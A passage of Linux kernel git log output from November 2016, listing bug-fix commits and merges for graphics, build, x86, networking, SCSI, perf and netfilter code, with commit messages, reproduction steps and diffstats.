acp_hw_fini commit cf532232c32ae9be2bf2c299f50e61d67700229f Merge: 020a0bb 54905ab Author: Dave Airlie Date: Thu Nov 10 08:37:01 2016 +1000 Merge tag 'drm-intel-fixes-2016-11-09' of git://anongit.freedesktop.org/drm-intel into drm-fixes i915 fixes, include Sandybridge rendering regression fix. * tag 'drm-intel-fixes-2016-11-09' of git://anongit.freedesktop.org/drm-intel: drm/i915: Limit Valleyview and earlier to only using mappable scanout drm/i915: Round tile chunks up for constructing partial VMAs drm/i915/dp: Extend BDW DP audio workaround to GEN9 platforms drm/i915/dp: BDW cdclk fix for DP audio drm/i915/vlv: Prevent enabling hpd polling in late suspend drm/i915: Respect alternate_ddc_pin for all DDI ports commit cc6acc11cad1eb1ae39707a3a6e4a97fafbeeabd Author: Nicholas Piggin Date: Wed Nov 9 15:34:05 2016 +1100 kbuild: be more careful about matching preprocessed asm ___EXPORT_SYMBOL The CRC code for asm exports grabs the preprocessed asm, finds the ___EXPORT_SYMBOL and turns those into EXPORT_SYMBOL in a C program that can be preprocessed and parsed to create the CRC signatures from the type. The existing regex matching and replacement is too strict, and doesn't deal well with whitespace among other things. The line " EXPORT_SYMBOL(sym)" in a .S file would not match due to initial whitespace, for example, which resulted in x86's ___preempt_schedule failing to get CRCs. Reported-by: Philip Müller Signed-off-by: Nicholas Piggin Signed-off-by: Michal Marek scripts/Makefile.build | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 90944e40ba1838de4b2a9290cf273f9d76bd3bdd Author: Sebastian Andrzej Siewior Date: Fri Nov 4 19:39:40 2016 +0100 x86/kexec: add -fno-PIE If the gcc is configured to do -fPIE by default then the build aborts later with: | Unsupported relocation type: unknown type rel type name (29) Tagging it stable so it is possible to compile recent stable kernels as well. Cc: stable@vger.kernel.org Signed-off-by: Sebastian Andrzej Siewior Signed-off-by: Michal Marek arch/x86/purgatory/Makefile | 1 + 1 file changed, 1 insertion(+) commit 82031ea29e454b574bc6f49a33683a693ca5d907 Author: Sebastian Andrzej Siewior Date: Fri Nov 4 19:39:39 2016 +0100 scripts/has-stack-protector: add -fno-PIE Adding -no-PIE to the fstack protector check. -no-PIE was introduced before -fstack-protector so there is no need for a runtime check. Without it the build stops: |Cannot use CONFIG_CC_STACKPROTECTOR_STRONG: -fstack-protector-strong available but compiler is broken due to -mcmodel=kernel + -fPIE if -fPIE is enabled by default. Tagging it stable so it is possible to compile recent stable kernels as well. Cc: stable@vger.kernel.org Signed-off-by: Sebastian Andrzej Siewior Signed-off-by: Michal Marek scripts/gcc-x86_64-has-stack-protector.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d49597fd3bc7d9534de55e9256767f073be1b33a Author: Thomas Gleixner Date: Wed Nov 9 16:35:51 2016 +0100 x86/cpu: Deal with broken firmware (VMWare/XEN) Both ACPI and MP specifications require that the APIC id in the respective tables must be the same as the APIC id in CPUID. The kernel retrieves the physical package id from the APIC id during the ACPI/MP table scan and builds the physical to logical package map. The physical package id which is used after a CPU comes up is retrieved from CPUID. So we rely on ACPI/MP tables and CPUID agreeing in that respect. There exist VMware and XEN implementations which violate the spec. As a result the physical to logical package map, which relies on the ACPI/MP tables does not work on those systems, because the CPUID initialized physical package id does not match the firmware id. This causes system crashes and malfunction due to invalid package mappings. The only way to cure this is to sanitize the physical package id after the CPUID enumeration and yell when the APIC ids are different. Fix up the initial APIC id, which is fine as it is only used printout purposes. If the physical package IDs differ yell and use the package information from the ACPI/MP tables so the existing logical package map just works. Chas provided the resulting dmesg output for his affected 4 virtual sockets, 1 core per socket VM: [Firmware Bug]: CPU1: APIC id mismatch. Firmware: 1 CPUID: 2 [Firmware Bug]: CPU1: Using firmware package id 1 instead of 2 .... Reported-and-tested-by: "Charles (Chas) Williams" , Reported-by: M. Vefa Bicakci Signed-off-by: Thomas Gleixner Cc: Peter Zijlstra Cc: Sebastian Andrzej Siewior Cc: Borislav Petkov Cc: Alok Kataria Cc: Boris Ostrovsky Cc: #4.6+ Link: http://lkml.kernel.org/r/alpine.DEB.2.20.1611091613540.3501@nanos Signed-off-by: Thomas Gleixner arch/x86/kernel/cpu/common.c | 32 ++++++++++++++++++++++++++++++-- 1 file changed, 30 insertions(+), 2 deletions(-) commit 27bcd37e0240bbe33f0efe244b5aad52104115b3 Merge: 3c6106d 6809cd6 Author: Linus Torvalds Date: Wed Nov 9 11:39:02 2016 -0800 Merge tag 'sound-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound Pull sound fixes from Takashi Iwai: "This became a largish pull-request, as we've got a bunch of pending ASoC fixes at this time. One noticeable change is the removal of error directive in uapi/sound/asoc.h. We found that the API has been already used on Chromebooks, so we need to support it even now. A slight big LOC is found in Qualcomm lpass driver, but the rest are all small and easy fixes for ASoC drivers (sti, sun4i, Realtek codecs, Intel, tas571x, etc) in addition to the patches to harden the ALSA core proc file accesses" * tag 'sound-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound: (26 commits) ALSA: info: Return error for invalid read/write ALSA: info: Limit the proc text input size ASoC: samsung: spdif: Fix DMA filter initialization ASoC: sun4i-codec: Enable bus clock after getting GPIO ASoC: lpass-cpu: add module licence and description ASoC: lpass-platform: Fix broken pcm data usage ASoC: sun4i-codec: return error code instead of NULL when create_card fails ASoC: hdmi-codec: Fix hdmi_of_xlate_dai_name when #sound-dai-cells = <0> ASoC: samsung: get access to DMA engine early to defer probe properly ASoC: da7219: Connect output enable register to DAIOUT ASoC: Intel: Skylake: Fix to turn off hdmi power on probe failure ASoC: sti-sas: enable fast io for regmap ASoC: sti: fix channel status update after playback start ASoC: PXA: Brownstone needs I2C ASoC: Intel: Skylake: Always acquire runtime pm ref on unload ASoC: Intel: Atom: add terminate entry for dmi_system_id tables ASoC: rt298: fix jack type detect error ASoC: rt5663: fix a debug statement ASoC: cs4270: fix DAPM stream name mismatch ASoC: Intel: haswell depends on sst-firmware ... commit 3c6106da7436d25fbe00e0904798271c66b36d2d Merge: ae67e87 dc03362 Author: Linus Torvalds Date: Wed Nov 9 11:36:43 2016 -0800 Merge tag 'for-linus-4.9-rc4-ofs-1' of git://git.kernel.org/pub/scm/linux/kernel/git/hubcap/linux Pull orangefs fix from Mike Marshall: "We recently refactored the Orangefs debugfs code. The refactor seemed to trigger dan.carpenter@oracle.com's static tester to find a possible double-free in the code. While designing the fix we saw a condition under which the buffer being freed could also be overflowed. We also realized how to rebuild the related debugfs file's "contents" (a string) without deleting and re-creating the file. This fix should eliminate the possible double-free, the potential overflow and improve code readability" * tag 'for-linus-4.9-rc4-ofs-1' of git://git.kernel.org/pub/scm/linux/kernel/git/hubcap/linux: orangefs: clean up debugfs commit ae67e87f408bbf2533f246049d6e66320f3b7a81 Merge: e3a00f6 7f8d61f Author: Linus Torvalds Date: Wed Nov 9 11:09:40 2016 -0800 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/s390/linux Pull s390 fixes from Martin Schwidefsky: "Two bug fixes - a memory alignment fix in the s390 only hypfs code - a fix for the generic percpu code that caused ftrace to break on s390. This is not relevant for x86 but for all architectures that use the generic percpu code" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/s390/linux: percpu: use notrace variant of preempt_disable/preempt_enable s390/hypfs: Use get_free_page() instead of kmalloc to ensure page alignment commit cdb26d3387f0cdf7b2a2eea581385173547ef21f Author: Rafał Miłecki Date: Mon Nov 7 13:53:27 2016 +0100 net: bgmac: fix reversed checks for clock control flag This fixes regression introduced by patch adding feature flags. It was already reported and patch followed (it got accepted) but it appears it was incorrect. Instead of fixing reversed condition it broke a good one. This patch was verified to actually fix SoC hanges caused by bgmac on BCM47186B0. Fixes: db791eb2970b ("net: ethernet: bgmac: convert to feature flags") Fixes: 4af1474e6198 ("net: bgmac: Fix errant feature flag check") Cc: Jon Mason Signed-off-by: Rafał Miłecki Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bgmac.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d667f78514c656a6a8bf0b3d6134a7fe5cd4d317 Author: Benjamin Poirier Date: Mon Nov 7 17:57:56 2016 +0800 bna: Add synchronization for tx ring. We received two reports of BUG_ON in bnad_txcmpl_process() where hw_consumer_index appeared to be ahead of producer_index. Out of order write/read of these variables could explain these reports. bnad_start_xmit(), as a producer of tx descriptors, has a few memory barriers sprinkled around writes to producer_index and the device's doorbell but they're not paired with anything in bnad_txcmpl_process(), a consumer. Since we are synchronizing with a device, we must use mandatory barriers, not smp_*. Also, I didn't see the purpose of the last smp_mb() in bnad_start_xmit(). Signed-off-by: Benjamin Poirier Signed-off-by: David S. Miller drivers/net/ethernet/brocade/bna/bnad.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f91d718156fe93d0cf684cacf5f247c35a825d79 Author: Tariq Toukan Date: Sun Nov 6 18:05:06 2016 +0200 Revert "net/mlx4_en: Fix panic during reboot" This reverts commit 9d2afba058722d40cc02f430229c91611c0e8d16. The original issue would possibly exist if an external module tried calling our "ethtool_ops" without checking if it still exists. The right way of solving it is by simply doing the check in the caller side. Currently, no action is required as there's no such use case. Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/en_netdev.c | 1 - 1 file changed, 1 deletion(-) commit fb56be83e43d0bb0cc9e8c35a6a9cac853231ba2 Author: Maciej Żenczykowski Date: Fri Nov 4 14:51:54 2016 -0700 net-ipv6: on device mtu change do not add mtu to mtu-less routes Routes can specify an mtu explicitly or inherit the mtu from the underlying device - this inheritance is implemented in dst->ops->mtu handlers ip6_mtu() and ip6_blackhole_mtu(). Currently changing the mtu of a device adds mtu explicitly to routes using that device. ie. # ip link set dev lo mtu 65536 # ip -6 route add local 2000::1 dev lo # ip -6 route get 2000::1 local 2000::1 dev lo table local src ... metric 1024 pref medium # ip link set dev lo mtu 65535 # ip -6 route get 2000::1 local 2000::1 dev lo table local src ... metric 1024 mtu 65535 pref medium # ip link set dev lo mtu 65536 # ip -6 route get 2000::1 local 2000::1 dev lo table local src ... metric 1024 mtu 65536 pref medium # ip -6 route del local 2000::1 After this patch the route entry no longer changes unless it already has an mtu. There is no need: this inheritance is already done in ip6_mtu() # ip link set dev lo mtu 65536 # ip -6 route add local 2000::1 dev lo # ip -6 route add local 2000::2 dev lo mtu 2000 # ip -6 route get 2000::1; ip -6 route get 2000::2 local 2000::1 dev lo table local src ... metric 1024 pref medium local 2000::2 dev lo table local src ... metric 1024 mtu 2000 pref medium # ip link set dev lo mtu 65535 # ip -6 route get 2000::1; ip -6 route get 2000::2 local 2000::1 dev lo table local src ... metric 1024 pref medium local 2000::2 dev lo table local src ... metric 1024 mtu 2000 pref medium # ip link set dev lo mtu 1501 # ip -6 route get 2000::1; ip -6 route get 2000::2 local 2000::1 dev lo table local src ... metric 1024 pref medium local 2000::2 dev lo table local src ... metric 1024 mtu 1501 pref medium # ip link set dev lo mtu 65536 # ip -6 route get 2000::1; ip -6 route get 2000::2 local 2000::1 dev lo table local src ... metric 1024 pref medium local 2000::2 dev lo table local src ... metric 1024 mtu 65536 pref medium # ip -6 route del local 2000::1 # ip -6 route del local 2000::2 This is desirable because changing device mtu and then resetting it to the previous value shouldn't change the user visible routing table. Signed-off-by: Maciej Żenczykowski CC: Eric Dumazet Acked-by: Hannes Frederic Sowa Signed-off-by: David S. Miller net/ipv6/route.c | 1 + 1 file changed, 1 insertion(+) commit 3023898b7d4aac65987bd2f485cc22390aae6f78 Author: Soheil Hassas Yeganeh Date: Fri Nov 4 15:36:49 2016 -0400 sock: fix sendmmsg for partial sendmsg Do not send the next message in sendmmsg for partial sendmsg invocations. sendmmsg assumes that it can continue sending the next message when the return value of the individual sendmsg invocations is positive. It results in corrupting the data for TCP, SCTP, and UNIX streams. For example, sendmmsg([["abcd"], ["efgh"]]) can result in a stream of "aefgh" if the first sendmsg invocation sends only the first byte while the second sendmsg goes through. Datagram sockets either send the entire datagram or fail, so this patch affects only sockets of type SOCK_STREAM and SOCK_SEQPACKET. Fixes: 228e548e6020 ("net: Add sendmmsg socket system call") Signed-off-by: Soheil Hassas Yeganeh Signed-off-by: Eric Dumazet Signed-off-by: Willem de Bruijn Signed-off-by: Neal Cardwell Acked-by: Maciej Żenczykowski Signed-off-by: David S. Miller net/socket.c | 2 ++ 1 file changed, 2 insertions(+) commit aa5fd0fb77486b8a6764ead8627baa14790e4280 Author: Gao Feng Date: Fri Nov 4 10:28:49 2016 +0800 driver: macvlan: Destroy new macvlan port if macvlan_common_newlink failed. When there is no existing macvlan port in lowdev, one new macvlan port would be created. But it doesn't be destoried when something failed later. It casues some memleak. Now add one flag to indicate if new macvlan port is created. Signed-off-by: Gao Feng Signed-off-by: David S. Miller drivers/net/macvlan.c | 31 ++++++++++++++++++++++--------- 1 file changed, 22 insertions(+), 9 deletions(-) commit 5e5ec1759dd663a1d5a2f10930224dd009e500e8 Author: Sumit Saxena Date: Wed Nov 9 02:59:42 2016 -0800 scsi: megaraid_sas: fix macro MEGASAS_IS_LOGICAL to avoid regression This patch will fix regression caused by commit 1e793f6fc0db ("scsi: megaraid_sas: Fix data integrity failure for JBOD (passthrough) devices"). The problem was that the MEGASAS_IS_LOGICAL macro did not have braces and as a result the driver ended up exposing a lot of non-existing SCSI devices (all SCSI commands to channels 1,2,3 were returned as SUCCESS-DID_OK by driver). [mkp: clarified patch description] Fixes: 1e793f6fc0db920400574211c48f9157a37e3945 Reported-by: Jens Axboe CC: stable@vger.kernel.org Signed-off-by: Kashyap Desai Signed-off-by: Sumit Saxena Tested-by: Sumit Saxena Reviewed-by: Tomas Henzl Tested-by: Jens Axboe Signed-off-by: Martin K. Petersen drivers/scsi/megaraid/megaraid_sas.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b0b6e86846093c5f8820386bc01515f857dd8faa Author: Yazen Ghannam Date: Tue Nov 8 09:35:06 2016 +0100 x86/cpu/AMD: Fix cpu_llc_id for AMD Fam17h systems cpu_llc_id (Last Level Cache ID) derivation on AMD Fam17h has an underflow bug when extracting the socket_id value. It starts from 0 so subtracting 1 from it will result in an invalid value. This breaks scheduling topology later on since the cpu_llc_id will be incorrect. For example, the the cpu_llc_id of the *other* CPU in the loops in set_cpu_sibling_map() underflows and we're generating the funniest thread_siblings masks and then when I run 8 threads of nbench, they get spread around the LLC domains in a very strange pattern which doesn't give you the normal scheduling spread one would expect for performance. Other things like EDAC use cpu_llc_id so they will be b0rked too. So, the APIC ID is preset in APICx020 for bits 3 and above: they contain the core complex, node and socket IDs. The LLC is at the core complex level so we can find a unique cpu_llc_id by right shifting the APICID by 3 because then the least significant bit will be the Core Complex ID. Tested-by: Borislav Petkov Signed-off-by: Yazen Ghannam [ Cleaned up and extended the commit message. ] Signed-off-by: Borislav Petkov Acked-by: Thomas Gleixner Cc: # v4.4.. Cc: Aravind Gopalakrishnan Cc: Linus Torvalds Cc: Peter Zijlstra Fixes: 3849e91f571d ("x86/AMD: Fix last level cache topology for AMD Fam17h systems") Link: http://lkml.kernel.org/r/20161108083506.rvqb5h4chrcptj7d@pd.tnic Signed-off-by: Ingo Molnar arch/x86/kernel/cpu/amd.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit c72ab446cac1d6c9551fd26c4cfef1b2fc5041fd Author: Namhyung Kim Date: Tue Nov 8 22:08:33 2016 +0900 perf hists: Fix column length on --hierarchy Markus reported that there's a weird behavior on perf top --hierarchy regarding the column length. Looking at the code, I found a dubious code which affects the symptoms. When --hierarchy option is used, the last column length might be inaccurate since it skips to update the length on leaf entries. I cannot remember why it did and looks like a leftover from previous version during the development. Anyway, updating the column length often is not harmful. So let's move the code out. Reported-and-Tested-by: Markus Trippelsdorf Signed-off-by: Namhyung Kim Cc: Jiri Olsa Cc: Peter Zijlstra Fixes: 1a3906a7e6b9 ("perf hists: Resort hist entries with hierarchy") Link: http://lkml.kernel.org/r/20161108130833.9263-5-namhyung@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/hist.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit b9bf911e990a189f89147ee6b66660a153ed0125 Author: Namhyung Kim Date: Tue Nov 8 22:08:32 2016 +0900 perf hists browser: Fix column indentation on --hierarchy When horizontall scrolling is used in hierarchy mode, the the right most column has unnecessary indentation. Actually it's needed only if some of left (overhead) columns were shown. Signed-off-by: Namhyung Kim Tested-by: Arnaldo Carvalho de Melo Tested-by: Markus Trippelsdorf Cc: Jiri Olsa Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/20161108130833.9263-4-namhyung@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/browsers/hists.c | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) commit 131d51eb1d17aac3a604cf929fd99ff4dd34f495 Author: Namhyung Kim Date: Tue Nov 8 22:08:31 2016 +0900 perf hists browser: Show folded sign properly on --hierarchy When horizontal scrolling is used in hierarchy mode, the folded signed disappears at the right most column. Committer note: To test it, run 'perf top --hierarchy, see the '+' symbol at the first column, then press the right arrow key, the '+' symbol will disappear, this patch fixes that. Signed-off-by: Namhyung Kim Tested-by: Arnaldo Carvalho de Melo Tested-by: Markus Trippelsdorf Cc: Jiri Olsa Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/20161108130833.9263-3-namhyung@kernel.org [ Move 'width -= 2' invariant to right after the if/else ] Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/browsers/hists.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 3d9f4683929a968dc9b9493f4e608b109ad292a2 Author: Namhyung Kim Date: Tue Nov 8 22:08:30 2016 +0900 perf hists browser: Fix indentation of folded sign on --hierarchy It should indent 2 spaces for folded sign and a whitespace. Signed-off-by: Namhyung Kim Tested-by: Markus Trippelsdorf Cc: Jiri Olsa Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/20161108130833.9263-2-namhyung@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/browsers/hists.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 9cba9844547731d2f14d79485c43192ffaa37b76 Author: Namhyung Kim Date: Tue Oct 25 01:21:10 2016 +0900 perf hist browser: Fix hierarchy column counts The perf report/top on TUI supports horizontal scrolling using LEFT and RIGHT keys. But it calculate the number of columns incorrectly when hierarchy mode is enabled so that keep pressing RIGHT key can make the output disappeared. In the hierarchy mode, all sort keys are collapsed into a single column, so it needs to be applied when calculating column numbers. Reported-and-Tested-by: Markus Trippelsdorf Signed-off-by: Namhyung Kim Tested-by: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/20161024162110.17918-1-namhyung@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/ui/browsers/hists.c | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) commit 5ced937b7d8dae2c6a536112abaad6352769a931 Author: Lucas Stach Date: Tue Nov 8 17:04:10 2016 +0100 drm/imx: disable planes before DC If the DC clock is disabled before the attached IDMACs are properly stopped the IDMACs may hang the IPU or even the whole system. Make sure the IDMACs are in safe state by disabling the planes before removal of the DC clock. Also set the atomic parameter to false to stop calling the atomic_begin hook, which does nothing useful as we immediately afterwards turn off vblank interrupts and possibly send the pending vblank event. Fixes: 33f14235302f (drm/imx: atomic phase 1: Use transitional atomic CRTC and plane helpers) Signed-off-by: Lucas Stach Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/ipuv3-crtc.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 8d897006fe9206d64cbe353310be26d7c911e69d Author: Marcin Wojtas Date: Tue Nov 8 17:31:32 2016 +0100 arm64: dts: marvell: add unique identifiers for Armada A8k SPI controllers Enabling SPI controllers, which are attached to different busses inside an SoC, may result in overlapping enumeration and cause sysfs registration failure. Example log after enabling two controllers on Armada 8040 SoC with same identifiers: [ 3.740415] sysfs: cannot create duplicate filename '/class/spi_master/spi0' [ 3.747510] ------------[ cut here ]------------ [ 3.752145] WARNING: at fs/sysfs/dir.c:31 [...] [ 4.002299] orion_spi: probe of f4700600.spi failed with error -17 spi-orion driver offers dedicated DT property ('cell-index'), that allow setting unique identifiers. Recently added support for CP110-slave HW block introduced two new SPI controllers' nodes with same ID as ones from CP110-master. This commit fixes the issue by assigning different 'cell-index' values for CP110-slave SPI controllers. Fixes: 4eef78a0091b ("arm64: dts: marvell: add description for the slave CP110 in Armada 8K") Signed-off-by: Marcin Wojtas Acked-by: Thomas Petazzoni Signed-off-by: Gregory CLEMENT arch/arm64/boot/dts/marvell/armada-cp110-slave.dtsi | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2ec27be33898effa47fcb2cd45abb552a97fac89 Author: Marcin Wojtas Date: Tue Sep 6 19:41:12 2016 +0200 arm64: dts: marvell: fix clocksource for CP110 slave SPI0 I2C and SPI interfaces share common clock trees within the CP110 HW block. It occurred that SPI0 interface has wrong clock assignment in the device tree, which is fixed in this commit to a proper value. Fixes: c749b8d9de32 ("arm64: dts: marvell: add description for the ...") Signed-off-by: Marcin Wojtas Signed-off-by: Gregory CLEMENT arch/arm64/boot/dts/marvell/armada-cp110-slave.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 29f0c9edbdd98a977a4c629f411260f6e0356c67 Author: Gregory CLEMENT Date: Tue Nov 8 17:28:02 2016 +0100 arm64: dts: marvell: Fix typo in label name on Armada 37xx The label names of the peripheral clocks have a typo. Fix it before it is more widely used. Reported-by: Thomas Petazzoni Signed-off-by: Gregory CLEMENT arch/arm64/boot/dts/marvell/armada-37xx.dtsi | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 3d6f37102bd6e4b55a7f336d44974c0bd1c22a15 Author: Stefan Agner Date: Mon Oct 31 09:51:19 2016 -0700 drm/fsl-dcu: disable planes before disabling CRTC After disabling and reenabling the CRTC the DCU sometimes got stuck displaying the whole screen with a solid color. Disabling and reenabling the CRTC did not recover from the situation. This was often reproducable by just restarting the X-Server. The disabling sequence is not explicitly documented. But it turns out that disabling the planes before disabling the CRTC seems to prevent the above situation from happening. Use the callback ->atomic_disable instead of ->disable which allows to use the drm_atomic_helper_disable_planes_on_crtc() helper to disable planes before disabling the controller. Signed-off-by: Stefan Agner drivers/gpu/drm/fsl-dcu/fsl_dcu_drm_crtc.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 93daeeca2c9472a47d419884a64f6ca2b7f006e4 Author: Stefan Agner Date: Mon Sep 5 19:05:12 2016 -0700 drm/fsl-dcu: update all registers on flush Use the UPDATE_MODE READREG bit to initiate a register transfer on flush. This makes sure that we flush all registers only once for all planes. Signed-off-by: Stefan Agner drivers/gpu/drm/fsl-dcu/fsl_dcu_drm_crtc.c | 5 +++++ drivers/gpu/drm/fsl-dcu/fsl_dcu_drm_plane.c | 5 ----- 2 files changed, 5 insertions(+), 5 deletions(-) commit 34a515d27c6573b6f550877b30dd5e0f440c3d8f Author: Stefan Agner Date: Mon Jan 4 16:34:22 2016 -0800 drm/fsl-dcu: do not update when modifying irq registers The IRQ status and mask registers are not "double buffered" according to the reference manual. Hence, there is no extra transfer/update write needed when modifying these registers. Signed-off-by: Stefan Agner drivers/gpu/drm/fsl-dcu/fsl_dcu_drm_drv.c | 4 ---- 1 file changed, 4 deletions(-) commit 1535aa75a3d8320374f82d198e3900d5b0969d7e Author: Mauricio Faria de Oliveira Date: Mon Nov 7 17:53:31 2016 -0200 scsi: qla2xxx: fix invalid DMA access after command aborts in PCI device remove If a command is aborted in the kernel but not in the adapter, it might be considered complete and its DMA memory released, but it is still alive in the adapter, which will trigger an invalid DMA access upon its completion (in the DMA operations to deliver the command response to the driver). On powerpc platforms with IOMMU/EEH capabilities, the problem is observed during PCI device removal with ongoing IO requests -- which might trigger an EEH event very often, pointing to a 'TCE Request Page Access Error'. In that path, which is qla2x00_remove_one(), the commands are aborted in qla2x00_abort_all_cmds(), which does not perform an abort in the adapter as is done in qla2xxx_eh_abort() for example. So, this patch changes qla2x00_abort_all_cmds() to abort commands in the adapter too, with a call to qla2xxx_eh_abort(), which already implements all the logic to submit abort requests and handle responses. Reported-by: Naresh Bannoth Signed-off-by: Mauricio Faria de Oliveira Acked-by: Himanshu Madhani Signed-off-by: Martin K. Petersen drivers/scsi/qla2xxx/qla_os.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 04dfaa53a0b6e66b328a5bc549e3af8f8b6eac02 Author: Mauricio Faria de Oliveira Date: Mon Nov 7 17:53:30 2016 -0200 scsi: qla2xxx: do not queue commands when unloading When the driver is unloading, in qla2x00_remove_one(), there is a single call/point in time to abort ongoing commands, qla2x00_abort_all_cmds(), which is still several steps away from the call to scsi_remove_host(). If more commands continue to arrive and be processed during that interval, when the driver is tearing down and releasing its structures, it might potentially hit an oops due to invalid memory access: Unable to handle kernel paging request for data at address 0x00000138 <...> NIP [d000000004700a40] qla2xxx_queuecommand+0x80/0x3f0 [qla2xxx] LR [d000000004700a10] qla2xxx_queuecommand+0x50/0x3f0 [qla2xxx] So, fail commands in qla2xxx_queuecommand() if the UNLOADING bit is set. Signed-off-by: Mauricio Faria de Oliveira Acked-by: Himanshu Madhani Signed-off-by: Martin K. Petersen drivers/scsi/qla2xxx/qla_os.c | 5 +++++ 1 file changed, 5 insertions(+) commit 69e2d1e6c0af0dd7f18cfd434b008844568641a9 Author: Varun Prakash Date: Sat Nov 5 21:49:28 2016 +0530 scsi: libcxgbi: fix incorrect DDP resource cleanup Before calling task_release_itt() task data is memset to zero because of which DDP context information is lost resulting in incorrect DDP resource cleanup, to fix this call task_release_itt() before memset. Signed-off-by: Varun Prakash Signed-off-by: Martin K. Petersen drivers/scsi/cxgbi/libcxgbi.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 58c78e104d937c1f560fb10ed9bb2dcde0db4fcf Author: Liping Zhang Date: Sun Nov 6 14:40:01 2016 +0800 netfilter: nf_tables: fix oops when inserting an element into a verdict map Dalegaard says: The following ruleset, when loaded with 'nft -f bad.txt' ----snip---- flush ruleset table ip inlinenat { map sourcemap { type ipv4_addr : verdict; } chain postrouting { ip saddr vmap @sourcemap accept } } add chain inlinenat test add element inlinenat sourcemap { 100.123.10.2 : jump test } ----snip---- results in a kernel oops: BUG: unable to handle kernel paging request at 0000000000001344 IP: [] nf_tables_check_loops+0x114/0x1f0 [nf_tables] [...] Call Trace: [] ? nft_data_init+0x13e/0x1a0 [nf_tables] [] nft_validate_register_store+0x60/0xb0 [nf_tables] [] nft_add_set_elem+0x545/0x5e0 [nf_tables] [] ? nft_table_lookup+0x30/0x60 [nf_tables] [] ? nla_strcmp+0x40/0x50 [] nf_tables_newsetelem+0x11e/0x210 [nf_tables] [] ? nla_validate+0x60/0x80 [] nfnetlink_rcv+0x354/0x5a7 [nfnetlink] Because we forget to fill the net pointer in bind_ctx, so dereferencing it may cause kernel crash. Reported-by: Dalegaard Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_tables_api.c | 1 + 1 file changed, 1 insertion(+) commit e0df8cae6c16b9ba66a005079aa754b9eedc6efa Author: Florian Westphal Date: Fri Nov 4 16:54:58 2016 +0100 netfilter: conntrack: refine gc worker heuristics Nicolas Dichtel says: After commit b87a2f9199ea ("netfilter: conntrack: add gc worker to remove timed-out entries"), netlink conntrack deletion events may be sent with a huge delay. Nicolas further points at this line: goal = min(nf_conntrack_htable_size / GC_MAX_BUCKETS_DIV, GC_MAX_BUCKETS); and indeed, this isn't optimal at all. Rationale here was to ensure that we don't block other work items for too long, even if nf_conntrack_htable_size is huge. But in order to have some guarantee about maximum time period where a scan of the full conntrack table completes we should always use a fixed slice size, so that once every N scans the full table has been examined at least once. We also need to balance this vs. the case where the system is either idle (i.e., conntrack table (almost) empty) or very busy (i.e. eviction happens from packet path). So, after some discussion with Nicolas: 1. want hard guarantee that we scan entire table at least once every X s -> need to scan fraction of table (get rid of upper bound) 2. don't want to eat cycles on idle or very busy system -> increase interval if we did not evict any entries 3. don't want to block other worker items for too long -> make fraction really small, and prefer small scan interval instead 4. Want reasonable short time where we detect timed-out entry when system went idle after a burst of traffic, while not doing scans all the time. -> Store next gc scan in worker, increasing delays when no eviction happened and shrinking delay when we see timed out entries. The old gc interval is turned into a max number, scans can now happen every jiffy if stale entries are present. Longest possible time period until an entry is evicted is now 2 minutes in worst case (entry expires right after it was deemed 'not expired'). Reported-by: Nicolas Dichtel Signed-off-by: Florian Westphal Acked-by: Nicolas Dichtel Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_core.c | 49 ++++++++++++++++++++++++++++++++------- 1 file changed, 41 insertions(+), 8 deletions(-) commit 6114cc516dcc0d311badb83ad7db5aa4b611bea6 Author: Florian Westphal Date: Thu Nov 3 14:44:42 2016 +0100 netfilter: conntrack: fix CT target for UNSPEC helpers Thomas reports its not possible to attach the H.245 helper: iptables -t raw -A PREROUTING -p udp -j CT --helper H.245 iptables: No chain/target/match by that name. xt_CT: No such helper "H.245" This is because H.245 registers as NFPROTO_UNSPEC, but the CT target passes NFPROTO_IPV4/IPV6 to nf_conntrack_helper_try_module_get. We should treat UNSPEC as wildcard and ignore the l3num instead. Reported-by: Thomas Woerner Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_helper.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) commit fb9c9649a1d0a65a8f94f784aa18252a0dd584c1 Author: Florian Westphal Date: Sat Oct 29 03:01:50 2016 +0200 netfilter: connmark: 